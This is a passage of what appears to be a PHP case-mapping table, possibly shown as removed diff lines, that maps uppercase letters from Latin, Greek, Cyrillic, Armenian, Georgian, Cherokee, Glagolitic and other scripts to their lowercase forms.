'O' => 'o', - 'P' => 'p', - 'Q' => 'q', - 'R' => 'r', - 'S' => 's', - 'T' => 't', - 'U' => 'u', - 'V' => 'v', - 'W' => 'w', - 'X' => 'x', - 'Y' => 'y', - 'Z' => 'z', - 'À' => 'à', - 'Á' => 'á', - 'Â' => 'â', - 'Ã' => 'ã', - 'Ä' => 'ä', - 'Å' => 'å', - 'Æ' => 'æ', - 'Ç' => 'ç', - 'È' => 'è', - 'É' => 'é', - 'Ê' => 'ê', - 'Ë' => 'ë', - 'Ì' => 'ì', - 'Í' => 'í', - 'Î' => 'î', - 'Ï' => 'ï', - 'Ð' => 'ð', - 'Ñ' => 'ñ', - 'Ò' => 'ò', - 'Ó' => 'ó', - 'Ô' => 'ô', - 'Õ' => 'õ', - 'Ö' => 'ö', - 'Ø' => 'ø', - 'Ù' => 'ù', - 'Ú' => 'ú', - 'Û' => 'û', - 'Ü' => 'ü', - 'Ý' => 'ý', - 'Þ' => 'þ', - 'Ā' => 'ā', - 'Ă' => 'ă', - 'Ą' => 'ą', - 'Ć' => 'ć', - 'Ĉ' => 'ĉ', - 'Ċ' => 'ċ', - 'Č' => 'č', - 'Ď' => 'ď', - 'Đ' => 'đ', - 'Ē' => 'ē', - 'Ĕ' => 'ĕ', - 'Ė' => 'ė', - 'Ę' => 'ę', - 'Ě' => 'ě', - 'Ĝ' => 'ĝ', - 'Ğ' => 'ğ', - 'Ġ' => 'ġ', - 'Ģ' => 'ģ', - 'Ĥ' => 'ĥ', - 'Ħ' => 'ħ', - 'Ĩ' => 'ĩ', - 'Ī' => 'ī', - 'Ĭ' => 'ĭ', - 'Į' => 'į', - 'İ' => 'i', - 'IJ' => 'ij', - 'Ĵ' => 'ĵ', - 'Ķ' => 'ķ', - 'Ĺ' => 'ĺ', - 'Ļ' => 'ļ', - 'Ľ' => 'ľ', - 'Ŀ' => 'ŀ', - 'Ł' => 'ł', - 'Ń' => 'ń', - 'Ņ' => 'ņ', - 'Ň' => 'ň', - 'Ŋ' => 'ŋ', - 'Ō' => 'ō', - 'Ŏ' => 'ŏ', - 'Ő' => 'ő', - 'Œ' => 'œ', - 'Ŕ' => 'ŕ', - 'Ŗ' => 'ŗ', - 'Ř' => 'ř', - 'Ś' => 'ś', - 'Ŝ' => 'ŝ', - 'Ş' => 'ş', - 'Š' => 'š', - 'Ţ' => 'ţ', - 'Ť' => 'ť', - 'Ŧ' => 'ŧ', - 'Ũ' => 'ũ', - 'Ū' => 'ū', - 'Ŭ' => 'ŭ', - 'Ů' => 'ů', - 'Ű' => 'ű', - 'Ų' => 'ų', - 'Ŵ' => 'ŵ', - 'Ŷ' => 'ŷ', - 'Ÿ' => 'ÿ', - 'Ź' => 'ź', - 'Ż' => 'ż', - 'Ž' => 'ž', - 'Ɓ' => 'ɓ', - 'Ƃ' => 'ƃ', - 'Ƅ' => 'ƅ', - 'Ɔ' => 'ɔ', - 'Ƈ' => 'ƈ', - 'Ɖ' => 'ɖ', - 'Ɗ' => 'ɗ', - 'Ƌ' => 'ƌ', - 'Ǝ' => 'ǝ', - 'Ə' => 'ə', - 'Ɛ' => 'ɛ', - 'Ƒ' => 'ƒ', - 'Ɠ' => 'ɠ', - 'Ɣ' => 'ɣ', - 'Ɩ' => 'ɩ', - 'Ɨ' => 'ɨ', - 'Ƙ' => 'ƙ', - 'Ɯ' => 'ɯ', - 'Ɲ' => 'ɲ', - 'Ɵ' => 'ɵ', - 'Ơ' => 'ơ', - 'Ƣ' => 'ƣ', - 'Ƥ' => 'ƥ', - 'Ʀ' => 'ʀ', - 'Ƨ' => 'ƨ', - 'Ʃ' => 'ʃ', - 'Ƭ' => 'ƭ', - 'Ʈ' => 'ʈ', - 'Ư' => 'ư', - 'Ʊ' => 'ʊ', - 'Ʋ' => 'ʋ', - 'Ƴ' => 'ƴ', - 'Ƶ' => 'ƶ', - 'Ʒ' => 'ʒ', - 'Ƹ' => 'ƹ', - 'Ƽ' => 'ƽ', - 'DŽ' => 'dž', - 'Dž' => 'dž', - 'LJ' => 'lj', - 'Lj' => 'lj', - 'NJ' => 'nj', - 'Nj' => 'nj', - 'Ǎ' => 'ǎ', - 'Ǐ' => 'ǐ', - 'Ǒ' => 'ǒ', - 'Ǔ' => 'ǔ', - 'Ǖ' => 'ǖ', - 'Ǘ' => 'ǘ', - 'Ǚ' => 'ǚ', - 'Ǜ' => 'ǜ', - 'Ǟ' => 'ǟ', - 'Ǡ' => 'ǡ', - 'Ǣ' => 'ǣ', - 'Ǥ' => 'ǥ', - 'Ǧ' => 'ǧ', - 'Ǩ' => 'ǩ', - 'Ǫ' => 'ǫ', - 'Ǭ' => 'ǭ', - 'Ǯ' => 'ǯ', - 'DZ' => 'dz', - 'Dz' => 'dz', - 'Ǵ' => 'ǵ', - 'Ƕ' => 'ƕ', - 'Ƿ' => 'ƿ', - 'Ǹ' => 'ǹ', - 'Ǻ' => 'ǻ', - 'Ǽ' => 'ǽ', - 'Ǿ' => 'ǿ', - 'Ȁ' => 'ȁ', - 'Ȃ' => 'ȃ', - 'Ȅ' => 'ȅ', - 'Ȇ' => 'ȇ', - 'Ȉ' => 'ȉ', - 'Ȋ' => 'ȋ', - 'Ȍ' => 'ȍ', - 'Ȏ' => 'ȏ', - 'Ȑ' => 'ȑ', - 'Ȓ' => 'ȓ', - 'Ȕ' => 'ȕ', - 'Ȗ' => 'ȗ', - 'Ș' => 'ș', - 'Ț' => 'ț', - 'Ȝ' => 'ȝ', - 'Ȟ' => 'ȟ', - 'Ƞ' => 'ƞ', - 'Ȣ' => 'ȣ', - 'Ȥ' => 'ȥ', - 'Ȧ' => 'ȧ', - 'Ȩ' => 'ȩ', - 'Ȫ' => 'ȫ', - 'Ȭ' => 'ȭ', - 'Ȯ' => 'ȯ', - 'Ȱ' => 'ȱ', - 'Ȳ' => 'ȳ', - 'Ⱥ' => 'ⱥ', - 'Ȼ' => 'ȼ', - 'Ƚ' => 'ƚ', - 'Ⱦ' => 'ⱦ', - 'Ɂ' => 'ɂ', - 'Ƀ' => 'ƀ', - 'Ʉ' => 'ʉ', - 'Ʌ' => 'ʌ', - 'Ɇ' => 'ɇ', - 'Ɉ' => 'ɉ', - 'Ɋ' => 'ɋ', - 'Ɍ' => 'ɍ', - 'Ɏ' => 'ɏ', - 'Ͱ' => 'ͱ', - 'Ͳ' => 'ͳ', - 'Ͷ' => 'ͷ', - 'Ϳ' => 'ϳ', - 'Ά' => 'ά', - 'Έ' => 'έ', - 'Ή' => 'ή', - 'Ί' => 'ί', - 'Ό' => 'ό', - 'Ύ' => 'ύ', - 'Ώ' => 'ώ', - 'Α' => 'α', - 'Β' => 'β', - 'Γ' => 'γ', - 'Δ' => 'δ', - 'Ε' => 'ε', - 'Ζ' => 'ζ', - 'Η' => 'η', - 'Θ' => 'θ', - 'Ι' => 'ι', - 'Κ' => 'κ', - 'Λ' => 'λ', - 'Μ' => 'μ', - 'Ν' => 'ν', - 'Ξ' => 'ξ', - 'Ο' => 'ο', - 'Π' => 'π', - 'Ρ' => 'ρ', - 'Σ' => 'σ', - 'Τ' => 'τ', - 'Υ' => 'υ', - 'Φ' => 'φ', - 'Χ' => 'χ', - 'Ψ' => 'ψ', - 'Ω' => 'ω', - 'Ϊ' => 'ϊ', - 'Ϋ' => 'ϋ', - 'Ϗ' => 'ϗ', - 'Ϙ' => 'ϙ', - 'Ϛ' => 'ϛ', - 'Ϝ' => 'ϝ', - 'Ϟ' => 'ϟ', - 'Ϡ' => 'ϡ', - 'Ϣ' => 'ϣ', - 'Ϥ' => 'ϥ', - 'Ϧ' => 'ϧ', - 'Ϩ' => 'ϩ', - 'Ϫ' => 'ϫ', - 'Ϭ' => 'ϭ', - 'Ϯ' => 'ϯ', - 'ϴ' => 'θ', - 'Ϸ' => 'ϸ', - 'Ϲ' => 'ϲ', - 'Ϻ' => 'ϻ', - 'Ͻ' => 'ͻ', - 'Ͼ' => 'ͼ', - 'Ͽ' => 'ͽ', - 'Ѐ' => 'ѐ', - 'Ё' => 'ё', - 'Ђ' => 'ђ', - 'Ѓ' => 'ѓ', - 'Є' => 'є', - 'Ѕ' => 'ѕ', - 'І' => 'і', - 'Ї' => 'ї', - 'Ј' => 'ј', - 'Љ' => 'љ', - 'Њ' => 'њ', - 'Ћ' => 'ћ', - 'Ќ' => 'ќ', - 'Ѝ' => 'ѝ', - 'Ў' => 'ў', - 'Џ' => 'џ', - 'А' => 'а', - 'Б' => 'б', - 'В' => 'в', - 'Г' => 'г', - 'Д' => 'д', - 'Е' => 'е', - 'Ж' => 'ж', - 'З' => 'з', - 'И' => 'и', - 'Й' => 'й', - 'К' => 'к', - 'Л' => 'л', - 'М' => 'м', - 'Н' => 'н', - 'О' => 'о', - 'П' => 'п', - 'Р' => 'р', - 'С' => 'с', - 'Т' => 'т', - 'У' => 'у', - 'Ф' => 'ф', - 'Х' => 'х', - 'Ц' => 'ц', - 'Ч' => 'ч', - 'Ш' => 'ш', - 'Щ' => 'щ', - 'Ъ' => 'ъ', - 'Ы' => 'ы', - 'Ь' => 'ь', - 'Э' => 'э', - 'Ю' => 'ю', - 'Я' => 'я', - 'Ѡ' => 'ѡ', - 'Ѣ' => 'ѣ', - 'Ѥ' => 'ѥ', - 'Ѧ' => 'ѧ', - 'Ѩ' => 'ѩ', - 'Ѫ' => 'ѫ', - 'Ѭ' => 'ѭ', - 'Ѯ' => 'ѯ', - 'Ѱ' => 'ѱ', - 'Ѳ' => 'ѳ', - 'Ѵ' => 'ѵ', - 'Ѷ' => 'ѷ', - 'Ѹ' => 'ѹ', - 'Ѻ' => 'ѻ', - 'Ѽ' => 'ѽ', - 'Ѿ' => 'ѿ', - 'Ҁ' => 'ҁ', - 'Ҋ' => 'ҋ', - 'Ҍ' => 'ҍ', - 'Ҏ' => 'ҏ', - 'Ґ' => 'ґ', - 'Ғ' => 'ғ', - 'Ҕ' => 'ҕ', - 'Җ' => 'җ', - 'Ҙ' => 'ҙ', - 'Қ' => 'қ', - 'Ҝ' => 'ҝ', - 'Ҟ' => 'ҟ', - 'Ҡ' => 'ҡ', - 'Ң' => 'ң', - 'Ҥ' => 'ҥ', - 'Ҧ' => 'ҧ', - 'Ҩ' => 'ҩ', - 'Ҫ' => 'ҫ', - 'Ҭ' => 'ҭ', - 'Ү' => 'ү', - 'Ұ' => 'ұ', - 'Ҳ' => 'ҳ', - 'Ҵ' => 'ҵ', - 'Ҷ' => 'ҷ', - 'Ҹ' => 'ҹ', - 'Һ' => 'һ', - 'Ҽ' => 'ҽ', - 'Ҿ' => 'ҿ', - 'Ӏ' => 'ӏ', - 'Ӂ' => 'ӂ', - 'Ӄ' => 'ӄ', - 'Ӆ' => 'ӆ', - 'Ӈ' => 'ӈ', - 'Ӊ' => 'ӊ', - 'Ӌ' => 'ӌ', - 'Ӎ' => 'ӎ', - 'Ӑ' => 'ӑ', - 'Ӓ' => 'ӓ', - 'Ӕ' => 'ӕ', - 'Ӗ' => 'ӗ', - 'Ә' => 'ә', - 'Ӛ' => 'ӛ', - 'Ӝ' => 'ӝ', - 'Ӟ' => 'ӟ', - 'Ӡ' => 'ӡ', - 'Ӣ' => 'ӣ', - 'Ӥ' => 'ӥ', - 'Ӧ' => 'ӧ', - 'Ө' => 'ө', - 'Ӫ' => 'ӫ', - 'Ӭ' => 'ӭ', - 'Ӯ' => 'ӯ', - 'Ӱ' => 'ӱ', - 'Ӳ' => 'ӳ', - 'Ӵ' => 'ӵ', - 'Ӷ' => 'ӷ', - 'Ӹ' => 'ӹ', - 'Ӻ' => 'ӻ', - 'Ӽ' => 'ӽ', - 'Ӿ' => 'ӿ', - 'Ԁ' => 'ԁ', - 'Ԃ' => 'ԃ', - 'Ԅ' => 'ԅ', - 'Ԇ' => 'ԇ', - 'Ԉ' => 'ԉ', - 'Ԋ' => 'ԋ', - 'Ԍ' => 'ԍ', - 'Ԏ' => 'ԏ', - 'Ԑ' => 'ԑ', - 'Ԓ' => 'ԓ', - 'Ԕ' => 'ԕ', - 'Ԗ' => 'ԗ', - 'Ԙ' => 'ԙ', - 'Ԛ' => 'ԛ', - 'Ԝ' => 'ԝ', - 'Ԟ' => 'ԟ', - 'Ԡ' => 'ԡ', - 'Ԣ' => 'ԣ', - 'Ԥ' => 'ԥ', - 'Ԧ' => 'ԧ', - 'Ԩ' => 'ԩ', - 'Ԫ' => 'ԫ', - 'Ԭ' => 'ԭ', - 'Ԯ' => 'ԯ', - 'Ա' => 'ա', - 'Բ' => 'բ', - 'Գ' => 'գ', - 'Դ' => 'դ', - 'Ե' => 'ե', - 'Զ' => 'զ', - 'Է' => 'է', - 'Ը' => 'ը', - 'Թ' => 'թ', - 'Ժ' => 'ժ', - 'Ի' => 'ի', - 'Լ' => 'լ', - 'Խ' => 'խ', - 'Ծ' => 'ծ', - 'Կ' => 'կ', - 'Հ' => 'հ', - 'Ձ' => 'ձ', - 'Ղ' => 'ղ', - 'Ճ' => 'ճ', - 'Մ' => 'մ', - 'Յ' => 'յ', - 'Ն' => 'ն', - 'Շ' => 'շ', - 'Ո' => 'ո', - 'Չ' => 'չ', - 'Պ' => 'պ', - 'Ջ' => 'ջ', - 'Ռ' => 'ռ', - 'Ս' => 'ս', - 'Վ' => 'վ', - 'Տ' => 'տ', - 'Ր' => 'ր', - 'Ց' => 'ց', - 'Ւ' => 'ւ', - 'Փ' => 'փ', - 'Ք' => 'ք', - 'Օ' => 'օ', - 'Ֆ' => 'ֆ', - 'Ⴀ' => 'ⴀ', - 'Ⴁ' => 'ⴁ', - 'Ⴂ' => 'ⴂ', - 'Ⴃ' => 'ⴃ', - 'Ⴄ' => 'ⴄ', - 'Ⴅ' => 'ⴅ', - 'Ⴆ' => 'ⴆ', - 'Ⴇ' => 'ⴇ', - 'Ⴈ' => 'ⴈ', - 'Ⴉ' => 'ⴉ', - 'Ⴊ' => 'ⴊ', - 'Ⴋ' => 'ⴋ', - 'Ⴌ' => 'ⴌ', - 'Ⴍ' => 'ⴍ', - 'Ⴎ' => 'ⴎ', - 'Ⴏ' => 'ⴏ', - 'Ⴐ' => 'ⴐ', - 'Ⴑ' => 'ⴑ', - 'Ⴒ' => 'ⴒ', - 'Ⴓ' => 'ⴓ', - 'Ⴔ' => 'ⴔ', - 'Ⴕ' => 'ⴕ', - 'Ⴖ' => 'ⴖ', - 'Ⴗ' => 'ⴗ', - 'Ⴘ' => 'ⴘ', - 'Ⴙ' => 'ⴙ', - 'Ⴚ' => 'ⴚ', - 'Ⴛ' => 'ⴛ', - 'Ⴜ' => 'ⴜ', - 'Ⴝ' => 'ⴝ', - 'Ⴞ' => 'ⴞ', - 'Ⴟ' => 'ⴟ', - 'Ⴠ' => 'ⴠ', - 'Ⴡ' => 'ⴡ', - 'Ⴢ' => 'ⴢ', - 'Ⴣ' => 'ⴣ', - 'Ⴤ' => 'ⴤ', - 'Ⴥ' => 'ⴥ', - 'Ⴧ' => 'ⴧ', - 'Ⴭ' => 'ⴭ', - 'Ꭰ' => 'ꭰ', - 'Ꭱ' => 'ꭱ', - 'Ꭲ' => 'ꭲ', - 'Ꭳ' => 'ꭳ', - 'Ꭴ' => 'ꭴ', - 'Ꭵ' => 'ꭵ', - 'Ꭶ' => 'ꭶ', - 'Ꭷ' => 'ꭷ', - 'Ꭸ' => 'ꭸ', - 'Ꭹ' => 'ꭹ', - 'Ꭺ' => 'ꭺ', - 'Ꭻ' => 'ꭻ', - 'Ꭼ' => 'ꭼ', - 'Ꭽ' => 'ꭽ', - 'Ꭾ' => 'ꭾ', - 'Ꭿ' => 'ꭿ', - 'Ꮀ' => 'ꮀ', - 'Ꮁ' => 'ꮁ', - 'Ꮂ' => 'ꮂ', - 'Ꮃ' => 'ꮃ', - 'Ꮄ' => 'ꮄ', - 'Ꮅ' => 'ꮅ', - 'Ꮆ' => 'ꮆ', - 'Ꮇ' => 'ꮇ', - 'Ꮈ' => 'ꮈ', - 'Ꮉ' => 'ꮉ', - 'Ꮊ' => 'ꮊ', - 'Ꮋ' => 'ꮋ', - 'Ꮌ' => 'ꮌ', - 'Ꮍ' => 'ꮍ', - 'Ꮎ' => 'ꮎ', - 'Ꮏ' => 'ꮏ', - 'Ꮐ' => 'ꮐ', - 'Ꮑ' => 'ꮑ', - 'Ꮒ' => 'ꮒ', - 'Ꮓ' => 'ꮓ', - 'Ꮔ' => 'ꮔ', - 'Ꮕ' => 'ꮕ', - 'Ꮖ' => 'ꮖ', - 'Ꮗ' => 'ꮗ', - 'Ꮘ' => 'ꮘ', - 'Ꮙ' => 'ꮙ', - 'Ꮚ' => 'ꮚ', - 'Ꮛ' => 'ꮛ', - 'Ꮜ' => 'ꮜ', - 'Ꮝ' => 'ꮝ', - 'Ꮞ' => 'ꮞ', - 'Ꮟ' => 'ꮟ', - 'Ꮠ' => 'ꮠ', - 'Ꮡ' => 'ꮡ', - 'Ꮢ' => 'ꮢ', - 'Ꮣ' => 'ꮣ', - 'Ꮤ' => 'ꮤ', - 'Ꮥ' => 'ꮥ', - 'Ꮦ' => 'ꮦ', - 'Ꮧ' => 'ꮧ', - 'Ꮨ' => 'ꮨ', - 'Ꮩ' => 'ꮩ', - 'Ꮪ' => 'ꮪ', - 'Ꮫ' => 'ꮫ', - 'Ꮬ' => 'ꮬ', - 'Ꮭ' => 'ꮭ', - 'Ꮮ' => 'ꮮ', - 'Ꮯ' => 'ꮯ', - 'Ꮰ' => 'ꮰ', - 'Ꮱ' => 'ꮱ', - 'Ꮲ' => 'ꮲ', - 'Ꮳ' => 'ꮳ', - 'Ꮴ' => 'ꮴ', - 'Ꮵ' => 'ꮵ', - 'Ꮶ' => 'ꮶ', - 'Ꮷ' => 'ꮷ', - 'Ꮸ' => 'ꮸ', - 'Ꮹ' => 'ꮹ', - 'Ꮺ' => 'ꮺ', - 'Ꮻ' => 'ꮻ', - 'Ꮼ' => 'ꮼ', - 'Ꮽ' => 'ꮽ', - 'Ꮾ' => 'ꮾ', - 'Ꮿ' => 'ꮿ', - 'Ᏸ' => 'ᏸ', - 'Ᏹ' => 'ᏹ', - 'Ᏺ' => 'ᏺ', - 'Ᏻ' => 'ᏻ', - 'Ᏼ' => 'ᏼ', - 'Ᏽ' => 'ᏽ', - 'Ა' => 'ა', - 'Ბ' => 'ბ', - 'Გ' => 'გ', - 'Დ' => 'დ', - 'Ე' => 'ე', - 'Ვ' => 'ვ', - 'Ზ' => 'ზ', - 'Თ' => 'თ', - 'Ი' => 'ი', - 'Კ' => 'კ', - 'Ლ' => 'ლ', - 'Მ' => 'მ', - 'Ნ' => 'ნ', - 'Ო' => 'ო', - 'Პ' => 'პ', - 'Ჟ' => 'ჟ', - 'Რ' => 'რ', - 'Ს' => 'ს', - 'Ტ' => 'ტ', - 'Უ' => 'უ', - 'Ფ' => 'ფ', - 'Ქ' => 'ქ', - 'Ღ' => 'ღ', - 'Ყ' => 'ყ', - 'Შ' => 'შ', - 'Ჩ' => 'ჩ', - 'Ც' => 'ც', - 'Ძ' => 'ძ', - 'Წ' => 'წ', - 'Ჭ' => 'ჭ', - 'Ხ' => 'ხ', - 'Ჯ' => 'ჯ', - 'Ჰ' => 'ჰ', - 'Ჱ' => 'ჱ', - 'Ჲ' => 'ჲ', - 'Ჳ' => 'ჳ', - 'Ჴ' => 'ჴ', - 'Ჵ' => 'ჵ', - 'Ჶ' => 'ჶ', - 'Ჷ' => 'ჷ', - 'Ჸ' => 'ჸ', - 'Ჹ' => 'ჹ', - 'Ჺ' => 'ჺ', - 'Ჽ' => 'ჽ', - 'Ჾ' => 'ჾ', - 'Ჿ' => 'ჿ', - 'Ḁ' => 'ḁ', - 'Ḃ' => 'ḃ', - 'Ḅ' => 'ḅ', - 'Ḇ' => 'ḇ', - 'Ḉ' => 'ḉ', - 'Ḋ' => 'ḋ', - 'Ḍ' => 'ḍ', - 'Ḏ' => 'ḏ', - 'Ḑ' => 'ḑ', - 'Ḓ' => 'ḓ', - 'Ḕ' => 'ḕ', - 'Ḗ' => 'ḗ', - 'Ḙ' => 'ḙ', - 'Ḛ' => 'ḛ', - 'Ḝ' => 'ḝ', - 'Ḟ' => 'ḟ', - 'Ḡ' => 'ḡ', - 'Ḣ' => 'ḣ', - 'Ḥ' => 'ḥ', - 'Ḧ' => 'ḧ', - 'Ḩ' => 'ḩ', - 'Ḫ' => 'ḫ', - 'Ḭ' => 'ḭ', - 'Ḯ' => 'ḯ', - 'Ḱ' => 'ḱ', - 'Ḳ' => 'ḳ', - 'Ḵ' => 'ḵ', - 'Ḷ' => 'ḷ', - 'Ḹ' => 'ḹ', - 'Ḻ' => 'ḻ', - 'Ḽ' => 'ḽ', - 'Ḿ' => 'ḿ', - 'Ṁ' => 'ṁ', - 'Ṃ' => 'ṃ', - 'Ṅ' => 'ṅ', - 'Ṇ' => 'ṇ', - 'Ṉ' => 'ṉ', - 'Ṋ' => 'ṋ', - 'Ṍ' => 'ṍ', - 'Ṏ' => 'ṏ', - 'Ṑ' => 'ṑ', - 'Ṓ' => 'ṓ', - 'Ṕ' => 'ṕ', - 'Ṗ' => 'ṗ', - 'Ṙ' => 'ṙ', - 'Ṛ' => 'ṛ', - 'Ṝ' => 'ṝ', - 'Ṟ' => 'ṟ', - 'Ṡ' => 'ṡ', - 'Ṣ' => 'ṣ', - 'Ṥ' => 'ṥ', - 'Ṧ' => 'ṧ', - 'Ṩ' => 'ṩ', - 'Ṫ' => 'ṫ', - 'Ṭ' => 'ṭ', - 'Ṯ' => 'ṯ', - 'Ṱ' => 'ṱ', - 'Ṳ' => 'ṳ', - 'Ṵ' => 'ṵ', - 'Ṷ' => 'ṷ', - 'Ṹ' => 'ṹ', - 'Ṻ' => 'ṻ', - 'Ṽ' => 'ṽ', - 'Ṿ' => 'ṿ', - 'Ẁ' => 'ẁ', - 'Ẃ' => 'ẃ', - 'Ẅ' => 'ẅ', - 'Ẇ' => 'ẇ', - 'Ẉ' => 'ẉ', - 'Ẋ' => 'ẋ', - 'Ẍ' => 'ẍ', - 'Ẏ' => 'ẏ', - 'Ẑ' => 'ẑ', - 'Ẓ' => 'ẓ', - 'Ẕ' => 'ẕ', - 'ẞ' => 'ß', - 'Ạ' => 'ạ', - 'Ả' => 'ả', - 'Ấ' => 'ấ', - 'Ầ' => 'ầ', - 'Ẩ' => 'ẩ', - 'Ẫ' => 'ẫ', - 'Ậ' => 'ậ', - 'Ắ' => 'ắ', - 'Ằ' => 'ằ', - 'Ẳ' => 'ẳ', - 'Ẵ' => 'ẵ', - 'Ặ' => 'ặ', - 'Ẹ' => 'ẹ', - 'Ẻ' => 'ẻ', - 'Ẽ' => 'ẽ', - 'Ế' => 'ế', - 'Ề' => 'ề', - 'Ể' => 'ể', - 'Ễ' => 'ễ', - 'Ệ' => 'ệ', - 'Ỉ' => 'ỉ', - 'Ị' => 'ị', - 'Ọ' => 'ọ', - 'Ỏ' => 'ỏ', - 'Ố' => 'ố', - 'Ồ' => 'ồ', - 'Ổ' => 'ổ', - 'Ỗ' => 'ỗ', - 'Ộ' => 'ộ', - 'Ớ' => 'ớ', - 'Ờ' => 'ờ', - 'Ở' => 'ở', - 'Ỡ' => 'ỡ', - 'Ợ' => 'ợ', - 'Ụ' => 'ụ', - 'Ủ' => 'ủ', - 'Ứ' => 'ứ', - 'Ừ' => 'ừ', - 'Ử' => 'ử', - 'Ữ' => 'ữ', - 'Ự' => 'ự', - 'Ỳ' => 'ỳ', - 'Ỵ' => 'ỵ', - 'Ỷ' => 'ỷ', - 'Ỹ' => 'ỹ', - 'Ỻ' => 'ỻ', - 'Ỽ' => 'ỽ', - 'Ỿ' => 'ỿ', - 'Ἀ' => 'ἀ', - 'Ἁ' => 'ἁ', - 'Ἂ' => 'ἂ', - 'Ἃ' => 'ἃ', - 'Ἄ' => 'ἄ', - 'Ἅ' => 'ἅ', - 'Ἆ' => 'ἆ', - 'Ἇ' => 'ἇ', - 'Ἐ' => 'ἐ', - 'Ἑ' => 'ἑ', - 'Ἒ' => 'ἒ', - 'Ἓ' => 'ἓ', - 'Ἔ' => 'ἔ', - 'Ἕ' => 'ἕ', - 'Ἠ' => 'ἠ', - 'Ἡ' => 'ἡ', - 'Ἢ' => 'ἢ', - 'Ἣ' => 'ἣ', - 'Ἤ' => 'ἤ', - 'Ἥ' => 'ἥ', - 'Ἦ' => 'ἦ', - 'Ἧ' => 'ἧ', - 'Ἰ' => 'ἰ', - 'Ἱ' => 'ἱ', - 'Ἲ' => 'ἲ', - 'Ἳ' => 'ἳ', - 'Ἴ' => 'ἴ', - 'Ἵ' => 'ἵ', - 'Ἶ' => 'ἶ', - 'Ἷ' => 'ἷ', - 'Ὀ' => 'ὀ', - 'Ὁ' => 'ὁ', - 'Ὂ' => 'ὂ', - 'Ὃ' => 'ὃ', - 'Ὄ' => 'ὄ', - 'Ὅ' => 'ὅ', - 'Ὑ' => 'ὑ', - 'Ὓ' => 'ὓ', - 'Ὕ' => 'ὕ', - 'Ὗ' => 'ὗ', - 'Ὠ' => 'ὠ', - 'Ὡ' => 'ὡ', - 'Ὢ' => 'ὢ', - 'Ὣ' => 'ὣ', - 'Ὤ' => 'ὤ', - 'Ὥ' => 'ὥ', - 'Ὦ' => 'ὦ', - 'Ὧ' => 'ὧ', - 'ᾈ' => 'ᾀ', - 'ᾉ' => 'ᾁ', - 'ᾊ' => 'ᾂ', - 'ᾋ' => 'ᾃ', - 'ᾌ' => 'ᾄ', - 'ᾍ' => 'ᾅ', - 'ᾎ' => 'ᾆ', - 'ᾏ' => 'ᾇ', - 'ᾘ' => 'ᾐ', - 'ᾙ' => 'ᾑ', - 'ᾚ' => 'ᾒ', - 'ᾛ' => 'ᾓ', - 'ᾜ' => 'ᾔ', - 'ᾝ' => 'ᾕ', - 'ᾞ' => 'ᾖ', - 'ᾟ' => 'ᾗ', - 'ᾨ' => 'ᾠ', - 'ᾩ' => 'ᾡ', - 'ᾪ' => 'ᾢ', - 'ᾫ' => 'ᾣ', - 'ᾬ' => 'ᾤ', - 'ᾭ' => 'ᾥ', - 'ᾮ' => 'ᾦ', - 'ᾯ' => 'ᾧ', - 'Ᾰ' => 'ᾰ', - 'Ᾱ' => 'ᾱ', - 'Ὰ' => 'ὰ', - 'Ά' => 'ά', - 'ᾼ' => 'ᾳ', - 'Ὲ' => 'ὲ', - 'Έ' => 'έ', - 'Ὴ' => 'ὴ', - 'Ή' => 'ή', - 'ῌ' => 'ῃ', - 'Ῐ' => 'ῐ', - 'Ῑ' => 'ῑ', - 'Ὶ' => 'ὶ', - 'Ί' => 'ί', - 'Ῠ' => 'ῠ', - 'Ῡ' => 'ῡ', - 'Ὺ' => 'ὺ', - 'Ύ' => 'ύ', - 'Ῥ' => 'ῥ', - 'Ὸ' => 'ὸ', - 'Ό' => 'ό', - 'Ὼ' => 'ὼ', - 'Ώ' => 'ώ', - 'ῼ' => 'ῳ', - 'Ω' => 'ω', - 'K' => 'k', - 'Å' => 'å', - 'Ⅎ' => 'ⅎ', - 'Ⅰ' => 'ⅰ', - 'Ⅱ' => 'ⅱ', - 'Ⅲ' => 'ⅲ', - 'Ⅳ' => 'ⅳ', - 'Ⅴ' => 'ⅴ', - 'Ⅵ' => 'ⅵ', - 'Ⅶ' => 'ⅶ', - 'Ⅷ' => 'ⅷ', - 'Ⅸ' => 'ⅸ', - 'Ⅹ' => 'ⅹ', - 'Ⅺ' => 'ⅺ', - 'Ⅻ' => 'ⅻ', - 'Ⅼ' => 'ⅼ', - 'Ⅽ' => 'ⅽ', - 'Ⅾ' => 'ⅾ', - 'Ⅿ' => 'ⅿ', - 'Ↄ' => 'ↄ', - 'Ⓐ' => 'ⓐ', - 'Ⓑ' => 'ⓑ', - 'Ⓒ' => 'ⓒ', - 'Ⓓ' => 'ⓓ', - 'Ⓔ' => 'ⓔ', - 'Ⓕ' => 'ⓕ', - 'Ⓖ' => 'ⓖ', - 'Ⓗ' => 'ⓗ', - 'Ⓘ' => 'ⓘ', - 'Ⓙ' => 'ⓙ', - 'Ⓚ' => 'ⓚ', - 'Ⓛ' => 'ⓛ', - 'Ⓜ' => 'ⓜ', - 'Ⓝ' => 'ⓝ', - 'Ⓞ' => 'ⓞ', - 'Ⓟ' => 'ⓟ', - 'Ⓠ' => 'ⓠ', - 'Ⓡ' => 'ⓡ', - 'Ⓢ' => 'ⓢ', - 'Ⓣ' => 'ⓣ', - 'Ⓤ' => 'ⓤ', - 'Ⓥ' => 'ⓥ', - 'Ⓦ' => 'ⓦ', - 'Ⓧ' => 'ⓧ', - 'Ⓨ' => 'ⓨ', - 'Ⓩ' => 'ⓩ', - 'Ⰰ' => 'ⰰ', - 'Ⰱ' => 'ⰱ', - 'Ⰲ' => 'ⰲ', - 'Ⰳ' => 'ⰳ', - 'Ⰴ' => 'ⰴ', - 'Ⰵ' => 'ⰵ', - 'Ⰶ' => 'ⰶ', - 'Ⰷ' => 'ⰷ', - 'Ⰸ' => 'ⰸ', - 'Ⰹ' => 'ⰹ', - 'Ⰺ' => 'ⰺ', - 'Ⰻ' => 'ⰻ', - 'Ⰼ' => 'ⰼ', - 'Ⰽ' => 'ⰽ', - 'Ⰾ' => 'ⰾ', - 'Ⰿ' => 'ⰿ', - 'Ⱀ' => 'ⱀ', - 'Ⱁ' => 'ⱁ', - 'Ⱂ' => 'ⱂ', - 'Ⱃ' => 'ⱃ', - 'Ⱄ' => 'ⱄ', - 'Ⱅ' => 'ⱅ', - 'Ⱆ' => 'ⱆ', - 'Ⱇ' => 'ⱇ', - 'Ⱈ' => 'ⱈ', - 'Ⱉ' => 'ⱉ', - 'Ⱊ' => 'ⱊ', - 'Ⱋ' => 'ⱋ', - 'Ⱌ' => 'ⱌ', - 'Ⱍ' => 'ⱍ', - 'Ⱎ' => 'ⱎ', - 